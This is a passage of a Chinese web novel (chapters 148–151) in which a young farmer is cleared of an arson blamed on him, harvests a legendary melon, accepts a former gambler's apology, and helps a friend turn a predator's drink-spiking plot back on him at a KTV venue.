莫天扬皱了皱眉头，“他们也……” “天扬，你那边如何。” “天天被询问，每天都是同样的问题，他们说找到了起火的源头，脚印和我得不相符，所以就让我回来了，那咱们的菜……” 颜若曦深吸口气，“也是有工人，他们每天早上帮忙摘菜，酒坊这边我在帮忙，不过豆芽好像不行。” 莫天扬不由得无语，“我去看看豆芽。” 豆芽的房间中，莫天扬打开一个大瓮，随即不由得摇头，豆芽已经发黄，就这种豆芽家里吃还可以，拿出去的话人们看都不会多看一眼。 就在莫天扬看着豆芽苦笑的时候，外面传来了说话的声音，他走出房间看到胡标、曹勇他们正朝着这边过来。 “天扬，你回来了。” 第一百四十八章不背这锅 “回来了，村里……”胡标、曹勇等人苦笑着摇摇头，脸上带着疲惫和一丝屈辱。 “我们都被限制在家一个星期，哪儿也不让去。也是刚才才接到通知，说那件事和我们没有直接关系，这才解除了限制。” “天扬，你那边……” “都一样，”莫天扬语气平静，眼神却微冷，“今天那边也说证据不足，让我回来了。” 曹勇狠狠皱起眉头，一拳砸在旁边的土墙上，发出沉闷的响声：“是哪个天杀的王八蛋干这种丧尽天良的缺德事！雀沟里多少胡杨树都有几百年了，是咱们青木村的根啊！这一把火全给烧没了！他这是要绝了青木村的根脉！” “那天……莫栓也回村了，”莫红兵迟疑着开口，“跟着他回来的还有几个面生的外地人，看着就不像好东西。你们说……会不会是他？他可一直憋着劲想报复天扬呢！” 这话让胡标、曹勇，以至于莫天扬的眼眸都猛地一缩！ 曹勇声音发冷：“还他妈真有可能！那天晚上有好几户人都看见他去小卖部买酒，吵吵嚷嚷的。不过……雀沟着火的时候，倒确实没人看见他们。” 莫天扬目光闪烁，迅速抓住关键点：“那……上面来人询问的时候，有没有人提起过莫栓和他带来的那几个人那天晚上也在村里？” “有！怎么没有！”胡标立刻道，“好几家都说了，做记录的人也记下了。可后来具体查没查，就没人知道了。” 回想起过去一周被反复盘问的每一个细节，莫天扬深吸一口气。他心里几乎已经断定，在雀沟放火的，不是莫栓本人，就是他带来的那几个人！ 而且，极大概率是那幾個外地人动手——莫栓背后有安云飞指点，安云飞那个老狐狸，绝不会让莫栓亲自去干这种把自己送进大牢的蠢事。 “天扬，你那天被带走，”胡标忧心忡忡地压低声音，“虽说村里没人信你会干这种断子绝孙的缺德事，可……人言可畏啊！现在十里八乡谁不知道你想留在村里大干一场？雀沟那块地方不小，现在树都烧光了，眼看着就能平整出来种地……这盆脏水要是泼实了，你跳进黄河也洗不清！” 莫天重重点头，神色无比严肃：“的的确确是‘人言可畏’！这罪名，我绝不能背！哪怕现在暂时解除了嫌疑，只要真凶没抓到，这屎盆子就随时可能扣回来！” “那你打算怎么办？” “既然那天晚上莫栓和他的人确确实实在村里，其他所有人都被挨个问话了，凭什么他们就例外？”莫天扬的声音斩钉截铁。 “可莫栓有安云飞那个靠山……咱们这些小老百姓，怎么斗得过……”有人怯怯地说。 “雀沟不小！几百年的胡杨林，那是能护佑一方的风水！一把火烧了个精光，这绝不是小事！”莫天扬目光扫过众人，“我现在就打电话实名反映！我倒要看看，他们这次还有什么话说！” “我也打！”“这黑锅绝不能背！算我一个！”群情瞬间被点燃。 莫天扬第一个拨通了电话，得到的回复却让他心头一沉——对方声称调查记录显示，莫栓及其同行人员“当天并未在村内”。 这个明目张胆的谎言，让莫天扬和所有听到答复的人瞬间确信——纵火案，绝对和莫栓那伙人脱不了干系！ 紧接着，胡标、曹勇等人也纷纷打电话求证，并将这个惊人的消息迅速传了出去。被憋在家里整整一周的村民们，本就急切地想知道个结果，此刻听闻莫栓等人竟被如此包庇，尤其是那些当天曾被莫栓逼着退钱、甚至遭受辱骂的村民，彻底炸了锅！ 他们再也忍不住，纷纷站出来，主动找上面派来的人作证，详细讲述那天晚上莫栓等人的言行举止。 一直在关注此事的刘思雨，在得到消息的第一时间，立刻行动起来。她迅速而细致地将所有村民的证言记录下来，形成书面材料，并且几经周折，竟然真的拿到了几段当时村民用手机录下的、莫栓等人强行要钱并辱骂村民的视频证据！ 莫天扬这边也没闲着。他仔细询问了莫栓当天回村的具体时间，随即让擅长此道的李国强沿着莫栓可能的来路线路，秘密走访调查。 功夫不负有心人，果然在沿途的一个加油站，拿到了关键性的监控视频——画面清晰显示，莫栓带来的那两个人，在当天曾在此购买了大量汽油！ 购买汽油时声称“家里摩托车用”，但其购买量和神情，此刻看来无比可疑。 铁证如山！ 就在第二天，消息传来——莫栓以及他带来的那几个人，已被依法控制！ 随后，刘思雨通过内部渠道打听到更确切的消息：纵火的直接凶手，虽不是莫栓本人，但正是他带来的其中两人！ 他们购买汽油的本意或许并非纵火，但据初步审讯，那天晚上几人喝酒时，莫栓不断咒骂莫天扬，言语极端。那两个混账东西借着酒劲，竟真的动了邪念，想出了放火雀沟、嫁祸莫天扬的毒计！ “思雨，莫栓那边现在是什么情况？”莫天扬关切地问道。 刘思雨轻哼一声，语气带着几分快意：“也被抓进去了！不过调查结果很清楚，他本人没有直接参与纵火，估计最多也就是拘留几天，罚点款。倒是他带来的那两个蠢货，酒后为了给莫栓这个‘大哥’出头，脑子一热就真去放火了，这下好了，没几年时间是别想出来了。” 莫天扬点点头，转而看向胡标：“标叔，村里现在是什么反应？” “炸锅了！彻底炸锅了！”胡标情绪有些激动，“别说那些以前就被莫老三、莫栓欺负过的人家，就是以前和莫老三关系还算不错的老伙计，这次都在指着鼻子骂莫栓不是东西！好几个族里的老人更是放了狠话，说要开了莫老三的坟，把这祸害彻底赶出青木村，不许他再姓莫！” 听到这里，莫天扬心头微微一松。莫栓就像是长在青木村肌体上的一颗毒瘤，以往很多人念着莫老三那点旧情，即便知道他胡作非为，也时常睁一只眼闭一只眼。这次他本想嫁祸自己，其心可诛。即便自己最终能洗清嫌疑，但只要真凶没抓到，“为发展而纵火”这顶恶毒的帽子就可能永远悬在自己头上，成为难以摆脱的污点。 如今真相大白，水落石出，结果给了他一个意想不到的惊喜。不仅是受过欺压的村民，连曾经与莫家交好的人都开始极度厌恶莫栓。毕竟，雀沟那片古老的胡杨林，承载着青木村几代人的记忆和情感，是一种近乎神圣的精神寄托。触碰了这个底线，莫栓算是彻底失去了在村里的立足之地。 “天扬，别再去想那个人渣了。”曹勇拍了拍他的肩膀，“经此一事，别说莫栓自己，就算是他妈、他姐姐以后回村，恐怕都要被人戳断脊梁骨。要是让村里那些气头上的老辈人撞见，保不齐会当场动手！” 莫天扬深吸一口气，将目光投向菜地里那些变得稀稀落落的蔬菜，点了点头：“是啊，那种人渣，确实不配再让我们浪费心思。标叔，您跟大家伙说一声，地里的菜这几天就要全部下架罢园了，让大家都多摘点回去吃。再过些日子，想吃上这么水灵的菜可就难了。” “天扬，”胡标想了想，建议道，“我看……咱们是不是想办法弄个小点的大棚？哪怕就种一点点，自己人吃也方便。或者……试试培育你说的那种血瓜瓜和黑草莓？” “血瓜瓜？！”听到这个名字，莫天扬猛地一拍额头，恍然大悟，“您这一说，我倒想起来了！我之前在院子角落里还真种了一些血瓜瓜！这段时间忙得晕头转向，竟然把这事给忘得一干二净了！” 他立刻带着众人走向大院中一处相对僻静、未曾种植蔬菜的角落。当拨开茂密的瓜秧时，所有人都瞪大了眼睛，呼吸都变得急促起来，每一个人的眼眸中都充满了难以置信的激动！ 只见那片不大的空地上，蜿蜒着十来株生机勃勃的血瓜瓜藤蔓。在墨绿色心形叶片的遮蔽下，赫然结着一个个鹅蛋大小、表皮深绿、透着神秘光泽的小瓜！ “天扬！你……你真的让血瓜瓜结出瓜了？！”不止是颜若曦、刘思雨这些年轻人激动得掩住了嘴，就连胡标、曹勇、陈峰这些见惯了风浪的老辈人，也因为极度的激动，身体都微微颤抖起来！ 莫天扬自己也深吸了一口气，强压下心中的澎湃。虽然用灵泉空间的水培育出血瓜瓜是他预料之中的事，但亲眼看到这传说中的瓜果在自己亲手开垦的土地上挂果，那种成就感与喜悦依旧难以言喻！血瓜瓜那独特而绝妙的口感，在他心中甚至超越了空间里的顶级香瓜。 此刻的血瓜瓜成功挂果，意义非凡！这预示着明年，他完全有把握在青木村广袤的沙地上大规模种植这种珍稀瓜果。让那原本只存在于雀沟深处传说中、仅供山神享用的“血瓜瓜”，真正走出深山，成为能让更多人品尝到的世间美味！ “快！让我拍下来！”刘思雨、颜若曦最先反应过来，兴奋地掏出手机，小心翼翼地记录下这令人振奋的一幕。 第一百四十九章浪子回头？ 莫天扬成功让传说中的血瓜瓜挂果，这对整个青木村来说，无疑是天大的喜事。当颜若曦和刘思雨几人兴奋地围着瓜秧拍照记录时，胡标、曹勇这些老辈人已经开始热烈地讨论明年该把血瓜瓜种在哪里最合适。 “天扬，血瓜瓜的味儿可比香瓜强太多了！明年说啥也得多种几亩。这东西往常只有雀沟深处才偶尔能见到，我看，明年就种在靠近雀沟的那片地上，准行！”曹勇率先提议。 他这话让陈峰眼睛一亮，想到了什么：“标叔，以前雀沟长满了胡杨、红柳和酸溜溜，根本没法承包。可现在……雀沟啥都没了，烧剩下的那些草木灰，可都是顶好的肥料！虽说雀沟里砂石是多点，但有土的地方更多！要是能把雀沟整个整理出来，用来种瓜、种菜，说不定是块宝地！” 陈峰这番话，让胡标、曹勇等人顿时茅塞顿开，眼睛都亮了起来。胡标深吸一口气，连连点头：“雀沟是村里的集体财产，搁以前肯定不让动。但现在一场大火烧得精光……情况不一样了！要是真能把雀沟开发出来，少了说也得有几百亩地！这个想法，还真他娘的不错！” 他越说越激动，看向莫天扬：“天扬，你觉得咋样？” 莫天扬抬眼望向远处苍茫的青木山脉，下意识地点了点头：“思路确实可以。毕竟一直以来，也只有雀沟的环境能长出血瓜瓜。如果把血瓜瓜种回雀沟，无论是成活率还是挂果率，肯定都比别处强。只是……这承包手续，不知道能不能办下来……” “村里这边应该没问题，”刘思雨站起身，主动请缨，“乡里也知道雀沟被烧的事。回头我就去乡里探探口风，问问政策。” “好，那这事就麻烦你了。”莫天扬感激地看了她一眼。 “对了，标叔，”莫天扬想起另一件事，“我刚才去看了发的豆芽，有一批因为控温没做好，有点发黄了。这种品相肯定不能拿出去卖，但自己吃没问题。您用广播通知一下村里，看看谁家想要，都分了吧。剩下的就拌到饲料里喂鸡喂羊。” “那可有好上千斤呢！便宜处理也能卖不少钱……”胡标有些舍不得。 莫天扬摇摇头：“算了吧。虽说送过去张学涛也不会说啥，但我这心里过意不去。不能坏了口碑。” 几个月下来，根本不用莫天扬自己宣传，胡标、曹勇他们早把“莫天扬种的豆芽是一绝”这话传遍了全村。胡标刚用大喇叭通知完，人还没回院子，作坊前就已经聚集了不少闻讯而来的村民。 陈峰看着越聚越多的人群，虽然心里替莫天扬肉疼，但还是提高了嗓门对大家说：“乡亲们！标叔叫大家来为啥，你们都知道了。不过丑话说在前头，这豆芽是品相不过关，天扬是为了维护信誉才免费分给大家的，绝不是次品！” “陈峰，你这话说的！天扬是我们从小看着长大的，莫老爷子是啥人品谁不知道？天扬绝不会拿孬东西糊弄咱们！”一位老人高声回应道，引来一片附和。 “成！有您老这句话就行！”陈峰脸上也有了笑容，“大家不是一直想尝尝天扬这豆芽是啥仙味儿吗？今天管够！一户三斤！都排好队啊！” 帐篷下，陈宏利看着村民们提着袋子、高高兴兴离开的背影，忍不住对莫天扬说：“天扬，这豆芽白送了，连袋子都搭进去，你也太大方了吧……” 莫天扬笑了笑：“宏利，刚不是说了吗？要是硬卖给张学涛，他看面子肯定会收，可他还得转手卖给别的饭店。到时候人家一看这品相，损的是他张学涛的信誉。咱不能干那事。” 兄弟几个正闲聊着，胡振南突然站了起来，神色有些尴尬地看向莫天扬。莫天扬顺着他的目光看去，只见一个身材消瘦的年轻人正慢慢地朝这边走来。他走得很慢，每一步似乎都有些艰难，显然腿脚还不利索。 “胡亮？他怎么过来了……”陈宏利低声嘀咕。 莫天扬看向有些不知所措的胡振南，温和地说：“振南，还愣着干嘛，去扶你哥一把。” 胡振南赶忙点头，快步朝胡亮走去。陈宏利看着那边，眼神复杂，低声道：“估计是他爹妈今天都不在家，他过来领豆芽了……” 莫天扬点点头，目光却一直落在胡家两兄弟身上。他看到胡振南快步走到胡亮身边，低声说了几句，然后就小心翼翼地搀扶着胡亮，朝他们这边慢慢走来。 尽管胡亮之前做了让胡标、胡振南乃至全村都不齿的事情，但莫天扬以德报怨，替他还清了赌债后，胡亮似乎真的洗心革面，有了很大的变化。莫天扬也从心底里希望这个曾经带着他们玩耍的哥能真正变好。 此刻看到胡亮过来，莫天扬深吸一口气，主动起身迎了上去：“亮哥，腿感觉怎么样？好点没？” 然而，接下来发生的一幕，让帐篷下的陈宏利等人都惊呆了！ 只见胡亮轻轻推开弟弟搀扶的手，身体微微颤抖着，竟朝着莫天扬，慢慢地、艰难地屈膝，就要跪下去！ “亮哥！你这是做什么？！”莫天扬惊呼一声，反应极快，在胡亮膝盖即将触地的瞬间，自己也毫不犹豫地“扑通”一声跪了下去，双手稳稳托住了他。按照村里的辈分和年纪，胡亮是兄长，他无论如何也不能受这一拜。 “天扬，那件事……我真不是个东西！可你还这样帮我……我……我今天是专门过来给你赔罪的。”胡亮的声音带着哽咽，情绪激动。 莫天扬和胡振南一左一右，稳稳地将他扶起，让他重新坐好。“亮哥，你说这些干啥？”莫天扬语气平和而真诚，“人这一辈子，谁还能不犯点错？知道错了，能改，就是好样的！再说了，那件事的主谋本来就不是你，你也是被人家坑害的受害者。” 听到这话，三十多岁的胡亮瞬间红了眼眶，泪水止不住地滚落。他低下头，用粗糙的手背狠狠抹了把脸。“这两个月，我躺在炕上想了很多……以前那些年，我干的真不是人事！害了村里不少乡亲，更让我爹妈跟着我一起抬不起头，受尽了白眼……” 莫天扬摇摇头，示意他不必再说。他和胡振南扶着胡亮在帐篷下的凳子上坐稳。莫天扬转头对陈宏利说：“宏利，去沏一壶咱们最好的‘紫烟’，让亮哥尝尝鲜。” 看着陈宏利应声离开，胡亮深吸一口气，似乎有千言万语堵在胸口：“天扬，我……” 莫天扬淡淡一笑，用轻松的口吻岔开了沉重的话题：“老话都说，人无完人。亮哥你还记不记得，我们几个小崽子以前总偷偷去你家菜园子摘西红柿、黄瓜，还摸鸡蛋？你那会儿看见了，也从不真骂我们，就吓唬两句。你看，我们现在不也不偷了？所以啊，过去的事，就让它过去，别再提了。等你腿脚利索了，好好干，只要干出个样来，村里谁也不会再说你半个不字。” “这两个月我想破了头，”胡亮的声音低沉下去，带着深深的自嘲，“我也想堂堂正正做人……可就我这样的烂人，谁还愿意信我……” “我们信你！”莫天扬斩钉截铁地说，拍了拍他的肩膀，“别忘了，我可是真金白银替你还了好几万的赌债！你好了，还得来我这儿打工还钱呢！” “你……你真还愿意让我来你这儿上班？”胡亮猛地抬起头，眼中充满了难以置信和一丝微弱的希望。 “当然！”莫天扬肯定地点头，“现在也能慢慢走动了，以后没事就常过来转转，别总一个人闷在家里。你多出来走走，睿伯和婶子心里也能敞亮些。” “天扬……以后……我都听你的！”胡亮重重地说道，仿佛下了巨大的决心。 这时，陈宏利端来了沏好的茶。清雅的茶香袅袅升起，胡亮只闻了一口，竟觉得胸口的郁结似乎都散开了些许，身上莫名轻松了不少。 “天扬，这是什么茶？这么香！”他惊讶地问。 “哥，这是天扬自己在青木山里发现的野山茶，他自己取了个名，叫‘紫烟’。”胡振南在一旁解释道，语气里带着自豪。 “山里？”胡亮下意识地望向远处苍茫的青木山脉，眼中流露出一丝本能的畏惧。随即，他看到了不远处安静趴卧着的大青，那份通灵的威仪让他心頭一凛，但旋即又释然了，喃喃道：“真是好人有好报……你救了青狼，才有了这样的福气……” 莫天扬闻言哈哈一笑，对陈宏利说：“宏利，再去问问慧姐，看看咱们家还有没有好的山货干货，晚上我下厨弄几个菜，给亮哥接风！” “天扬，不用，真不用麻烦了！”胡亮连忙摆手，“烟和酒……我都戒了。” “那就不喝酒，坐坐也好，尝尝我自个儿酿的‘屠苏’，那不算酒，是药饮。”莫天扬笑道。 “你……还会酿酒？”胡亮再次惊讶了。 “哥，天扬可是正儿八经的大学生！”胡振南的语气更加自豪，“他会的东西，多着呢，根本不是咱们能想到的！” 胡亮听着，不由得苦笑摇头，仰天长叹一声，充满了无尽的悔恨：“我那会儿怎么就那么傻……怎么就鬼迷心窍……” “亮哥，”莫天扬适时地转移了话题，关切地问，“睿伯和婶子……去领豆芽了吗？” 胡亮摇摇头，神情黯然：“被我闹得……我爹妈平时都不太好意思出门，就算出去，也只在雀沟那边没人的地方走走……” “那怎么行！”莫天扬立刻对胡振南说，“振南，你赶紧装一大袋子豆芽，再挑些好的菜，给睿伯和婶子送过去。跟他们说，是我让送的，让他们千万别客气！” 第一百五十章杀意 这天之后，胡亮果然每天都过来。很多时候，他只是和胡标、陈宏利他们简单聊上几句，更多的时候，则是默默地在羊圈、鸡场那边找些力所能及的轻活干。 即使没事可做，他也常常一个人安静地坐在角落，看着大家忙碌，仿佛在用这种方式慢慢融入，也洗涤着自己过往的罪孽。 随着地里的蔬菜全部下架，莫天扬敞开了菜地，让村民们将剩下还能食用的蔬菜都挑拣回去。 菜地彻底清空后，施工队的大型机械开了进来。轰隆声中，大院周围的旧围墙被全部推倒。挖掘机挥舞着巨臂，将大院里的沙土挖起，一车车运送到不远处那些曾被挖低了一米的沙地里进行回填。 村里没什么大事，莫天扬便三天两头往县里跑。胡标他们都知道他是去“青木餐馆”帮忙，偶尔晚上忙得太晚，也会直接在浅驼那边歇下。 这天，在“青木餐馆”的后厨，莫天扬看着正在忙碌地炖肉的徐志国，说道：“徐哥，这边没什么事的话，我今天就先回村看看。” 徐志国关小火，擦了擦手：“行，回去看看吧。记得带上两条羊腿回去，给大伙儿加个菜。” 莫天扬点头，刚走出餐馆门口，正准备招手打车，口袋里的手机就急促地响了起来。是王宏伟打来的。 “天扬，你在哪儿？”王宏伟的声音带着一丝急切。 “我刚从餐馆出来，正准备回村。怎么了？” “我刚才看见林浩宇的车了！他把刘思雨从小区门口接走了！” 莫天扬的脸色瞬间变得无比难看！林浩宇是个什么货色，哪怕只打过一次交道，他也一清二楚。 这些天因为刘成祥的事，王海龙他们一直紧盯着林家，他几乎每天都能收到关于林浩宇如何作恶的消息。这个比寻常二世祖还要纨绔卑劣的人渣，几乎无一日不在害人！ 对于林浩宇，莫天扬不知道告诫过刘思雨多少次，让她千万躲着点。可现在倒好，天都快黑了，刘思雨竟然跟着林浩宇走了！这让他如何能不心急如焚？ “知道他们去哪儿了吗？”莫天扬的声音瞬间冷了下来。 “林浩宇惯用的伎俩就是带女孩去吃饭，然后在酒水里下药。之后通常会带去一家他常包的KTV包厢……他还有给受害者拍照录像的变态嗜好！”王宏伟快速说道，语气凝重。 莫天扬眼中寒光一闪！林浩宇祸害别人，他或许管不了那么多，但刘思雨是他的同学，更是这些日子以来一直尽心尽力帮助他的人！林浩宇想把魔爪伸向刘思雨——这绝对触犯了他的底线！ “他们在哪个酒店吃饭？”“恒盛酒店！我已经在过来的路上了！”“等着我！我马上到！” 恒盛酒店外，王宏伟看到面沉如水、快步走来的莫天扬，立刻迎了上去。“天扬，我刚才想办法凑近听了一下。林浩宇是用刘成祥的事情威胁，刘思雨才不得已跟着出来吃饭的。林浩宇为了打消刘思雨的顾虑，还特意叫了几个女的作陪。但那几个女的，都跟林浩宇有不清不楚的关系，根本就是一伙的！” 莫天扬深吸一口气，强压下心头的怒火，从牙缝里挤出几个字：“他这是在找死。” “海哥他们那边调查的情况……”“说！”“正如我们之前的推测，他们正在通过不断‘问话’，试图给刘成祥罗织至少六项罪名。一旦这些‘罪证’被他们坐实，这辈子……恐怕就很难出来了。” “我们手里有没有他们搞鬼的证据？”“有！怎么能没有！”王宏伟肯定道，“整个过程，我们都留有记录。” 莫天扬点点头，眼神冰冷：“那林家其他人呢？”“背后的主使肯定是林家那几个掌权的，但他们非常狡猾，自己完全没有直接参与，都躲在后面。” “一群老狐狸！”莫天扬冷哼一声，“既然他们非要往死路上逼，那就先拿林浩宇开刀，给他们一个狠狠的警告！” 王宏伟脸色微微一变，压低声音：“天扬，现在可是法治社会，到处是天眼。别说县城，好多富裕点的村子都装了监控。你难道想在这里直接动手？” 莫天扬不由得被他逗乐了，只是笑容里没有一丝温度：“宏伟哥，你想哪儿去了？我可是守法的好公民。你们手里不是掌握了不少林浩宇违法犯罪的真凭实据吗？随便挑一条够分量的捅出去，都够他身败名裂、进去蹲几年了。现在他自己作死，撞到枪口上，那我也不必再给他留任何余地了。” 他顿了顿，继续冷静分析：“酒店确实监控多，但他接下来要干龌龊事的地方——比如KTV包厢内部，可未必有监控吧？更何况，以他那种人的行事风格，肯定会选最隐蔽的地方……” 王宏伟立刻明白了莫天扬的计划，点头道：“这倒是个办法。不过一旦事发，他们肯定会疯狂调取所有周边监控排查。为了万无一失……要不，我给你简单易容一下？” “易容？”莫天扬愣了一下。 “就是改变一下相貌特征，这样即使不小心被监控拍到，他们也很难锁定我们的真实身份。”王宏伟解释道，这是他过去经历中掌握的技能。 “行！就这么办！”莫天扬果断同意。 钱柜KTV，浅驼县最高档的娱乐场所之一，能在这里消费的都不是普通人家。KTV后身连着一条狭窄的小巷，灯光昏暗，与前面的霓虹闪烁形成鲜明对比。 小巷里，两个穿着蓝色维修工制服、戴着帽子和口罩的人，正低着头走在幽暗的光线下。“这是哪里？”其中一人压低声音问道，正是改变了装束的莫天扬。 “钱柜的后门通道，”王宏伟低声回应，他对这里似乎很熟悉，“维修工、送货员，还有那些想避人耳目的，都从这里进出。这里没有监控。等会儿进去之后内部有监控，记住，全程低着头，别让摄像头拍到正脸。” 那间专门留给内部工人的休息室里，王宏伟进去后便一言不发，只是闷头抽烟。不过短短几分钟，面积本就不大的房间内已是烟雾缭绕，呛得连其他几个老烟枪都受不了，纷纷咳嗽着推门离开。 眼见所有人都被熏走，王宏伟这才掐灭烟头，站起身。“你待在这里，千万别出去。我去监控室看一眼。”他对莫天扬低声道。 几分钟后，王宏伟去而复返，将一个不起眼的布袋子丢给莫天扬。“换上。”他的语气简洁而急促。 莫天扬迅速打开袋子，里面是一套KTV服务生的制服。“这是……”他一边快速换装一边疑惑地问。 “刘思雨比想象中还要谨慎，”王宏伟语速很快地解释，“吃饭时她连桌上的水都没碰，一直喝自己带来的。看样子，他们是打算在这里下手。等下我想办法把那些下了药的酒，让那几个跟林浩宇一伙的女人自己喝下去。等刘思雨一出包厢，你马上给她打电话，让她立刻离开！” 他着重叮嘱：“记住，你只在后门附近这块区域活动，这边的监控我已经处理过了，是盲区。” 又过了仿佛无比漫长的数分钟。一直在灯光幽暗的后通道区域小心走动的莫天扬，眼睛猛地一亮——他看到刘思雨独自从一个包厢里走了出来，看样子是去洗手间。 他立刻拿出手机拨号。 电话接通，那边的刘思雨似乎愣了一下，但只是在短暂倾听后，便立刻挂断电话，没有任何迟疑，甚至没有返回包厢取东西，就低着头，步履匆匆地朝着出口方向快速离开。 站在阴影深处的莫天扬，看着刘思雨迅速消失的背影，眼眸中却不由地浮现出一丝疑惑。虽然隔得很远，但他总觉得今晚的刘思雨，反应似乎有点过于平静和……干脆了？仿佛早就等着这个电话一样。 又过了一会儿，就在莫天扬开始担心王宏伟为何迟迟不归时，一阵密集而急促的脚步声猛地从KTV主入口方向传来！ 莫天扬瞳孔一缩，小心地探头望去，只见大批身穿制服的执法人员神情严肃，正快速地冲进大厅，目标明确地直奔林浩宇所在的那个包厢！ 这么大的动静，瞬间惊动了KTV里所有的人。音乐声戛然而止，各个包厢的客人和工作人员都好奇地涌了出来，人群很快围拢在那个包厢门口。 尽管执法人员试图阻拦，但依旧无法完全挡住所有人的视线和手机镜头。人群中不断发出惊呼和哗然，不少人举着手机，拼命拍摄着包厢内不堪入目的混乱场面——显然是药效发作了。 就在整个KTV乱成一锅粥的时候，莫天扬感觉到自己的肩头被人从后面轻轻拍了一下。他猛地回头，只见一个穿着维修工衣服的身影正快速走向后门，正是王宏伟。 莫天扬没有任何迟疑，立刻低头跟了上去。 两人一前一后，快速穿过那条昏暗的小巷，重新呼吸到外面清冷的空气，莫天扬才长长松了口气。 “宏伟哥，里面……”莫天扬刚开口。 王宏伟依旧低着头，声音却带着一丝冷冽的满意：“嗯。这一次根本不用你亲自出手，林浩宇这小子……也好过不了了。” “什么情况？” “他们自己喝了下药的酒，”王宏伟冷笑一声，“药劲上来，直接在包厢里就搞起了不堪入目的乱局。我匿名报的警。现在好了，那么多人围观，手机都拍下来了。等下我再把手里更‘精彩’的片段找个渠道放出去——这次，就算他林家手眼通天，也保不住他这个宝贝儿子了！” 莫天扬闻言，不由得咧了咧嘴，心情复杂。他原本的计划是救出刘思雨后，找机会亲自废了林浩宇，让他从此不能再害人。却没想到，自己今晚过来几乎就是个“打酱油”的，王宏伟一个人就缜密地布好了局，兵不血刃地将林浩宇彻底推进了万劫不复的深渊。 第一百五十一章超出预期 当莫天扬和王宏伟从一条僻静的小巷里走出来时，两人已经换回了平常的装束，仿佛刚才在钱柜发生的一切都与他们无关。 莫天扬望着远处依旧灯火通明、人气鼎沸的“青木餐馆”，深深吸了一口夜晚微凉的空气。 “宏伟哥，”他仍有些不放心地确认道，“思雨她……真的没喝下那些被下药的酒吧？” 王宏伟淡淡一笑，语气肯定：“放心吧，没有。我把动了手脚的酒都换给了林浩宇那帮人自己喝。他们都以为只有刘思雨那杯有问题，怎么可能把自己‘加了料’的酒再换给她？” 莫天扬这才彻底松了口气，紧绷的神经松弛下来：“那就好。那我先回去了。” “回村里还是……”王宏伟问。 “这么晚了，估计也找不到车愿意跑那么远送我回村了，明天再说吧。” “那我送你回住处？” 莫天扬摇摇头：“不用了。在这没人认得我。再说，现在林浩宇自身难保，莫栓也进去了，我租的那地方挺偏的，不会有事。” “行，那你自己小心点。我回餐馆看看。”王宏伟说完，转身融入了夜色中。 莫天扬独自回到了租住的小屋。房间被打扫得一尘不染，所有的日用品都摆放得井井有条，甚至连床上的被子都被叠得方方正正。 如同标准的“豆腐块”。任何人走进来，恐怕都能一眼看出，住在这里的人必然与行伍有着密切的关系。 看着这间整洁得过分的小屋，莫天扬心里莫名地涌起一股暖流。即使他不过来，徐志国他们也会每天轮流过来，一丝不苟地打扫整理，仿佛这是一种无声的坚守和仪式。 反手锁好房门，莫天扬深吸一口气，还是拨通了刘思雨的电话。片刻后，手机里传来了刘思雨似乎带着些睡意的声音。 “天扬？你那会儿打电话……是有什么事吗？听起来急匆匆的。” 莫天扬故作轻松地笑了笑，找了个借口：“没什么大事，就是今天不知怎么的，有点心血来潮。你那会儿在哪儿呢？我好像听到背景音有点吵，有音乐声似的。” 电话那头的刘思雨沉默了几秒，随即深吸了一口气，声音里带着后怕：“说起来……还真得多谢你这个心血来潮的电话。要不然，我今天可能就惹上大麻烦了。” “你……”莫天扬配合着发出疑问。 “我今天……被林浩宇那混蛋骗出去了……”刘思雨的声音低了下去。 莫天扬立刻皱起眉头，语气带着责备，却也掩不住关切：“你怎么就不听话！他是什么人你难道不清楚？你这是自己往狼嘴里送肉！” 电话那头，刘思雨听着莫天扬罕见的严厉责备，非但没有一丝不悦，眼眸中反而闪过一丝被人在乎的幸福光彩。 “知道啦~知道啦~”她带着点撒娇的语气回道，“我这不是一接到你电话，就找到借口赶紧溜了嘛！” 确认刘思雨确实安然无恙，莫天扬这才真正放下心来：“人没事就好。早点休息吧。” 挂断电话，莫天扬随手打开了手机浏览器。很快，他的脸上便控制不住地流露出一丝难以掩饰的笑意。 虽然时间才过去不久，但此刻，好几个本地的热门平台和社交媒体上，都已经出现了大量打着马赛克、但标题耸动的视频和帖子。内容无一例外，都指向了今晚钱柜KTV发生的惊天丑闻，而所有的矛头，都精准地对准了林浩宇。 关掉灯，莫天扬心念一动，进入了灵泉空间。看着眼前小岛上生机勃勃、硕果累累的景象，他的眼中却满是无奈——这么多的优质蔬菜瓜果，却苦于没有合适的理由大量拿出去。 在空间里忙碌了不知多久，直到身后各种粮食已经堆成了小山，莫天扬才满意地点点头。他又去水域边查看了一番，这才离开空间。 回到现实，他将几袋从空间里取出的谷子和小麦放进专门存放粮食的屋子，这才真正上床休息。 在强大的生物钟作用下，莫天扬准时醒来。他甚至没顾得上洗漱，第一件事就是抓起手机，急切地想知道昨夜的事件经过一晚上的发酵，已经变成了什么样子。林浩宇毕竟家世特殊，他既然已经对刘思雨动了如此歹念，就绝不能给他任何翻身再害人的机会。 果然，一切正如莫天扬所预料的那样。各大平台的热搜榜和本地新闻推送，几乎都被昨晚钱柜的事件霸屏。 林浩宇的身份背景迅速被“热心网友”扒了个底朝天。除了KTV现场那不堪入目的打码视频外，更有多个不同来源的视频被曝出，内容都直指林浩宇过往的种种恶行。这件事，如同投入滚油中的冷水，瞬间炸开，毫无悬念地冲上了本地乃至更大范围热搜榜的第一位！ 莫天扬放下手机，心中已然有数。到了这个地步，就算林家权势再大，除非请动那位早已退下来的老爷子不惜一切代价出手，否则舆论的洪流根本无法阻挡。 林浩宇，这个名字在浅驼县，乃至更广的范围内，已经彻底臭了。他想在这里继续待下去，几乎已无可能。 推开门走出小院，莫天扬深吸了一口清晨微凉的空气，目光不由自主地投向一个熟悉的方向——那里是他曾经度过三年高中时光的浅驼一中，而学校附近的那几条旧街，更是承载了他太多的青春记忆。 昨夜的“青木餐馆”定然忙到很晚，莫天扬知道这个时间点，徐志国他们肯定还在休息。他信步朝着记忆中的那条旧街走去，心里带着一丝隐约的期待，想着能不能再像上次那样，在跳蚤市场里淘到点什么意外的收获。 虽只是初秋，但因地处沙漠边缘，浅驼的清晨气温只有十几度，带着明显的凉意。莫天扬和街上匆匆而过的普通人一样，在路边摊买了两个刚出炉、冒着热气的烧饼，一边啃着，一边朝着跳蚤市场的方向溜达。 就在此时，一辆警车从他身边缓缓驶过。莫天扬的心下意识地紧了一下。曾几何时，他对警车毫无感觉，但自从创业以来，自己竟已“二进官”，这让他对这种代表着执法权力的车辆，生出了一种本能的、难以言喻的畏惧。 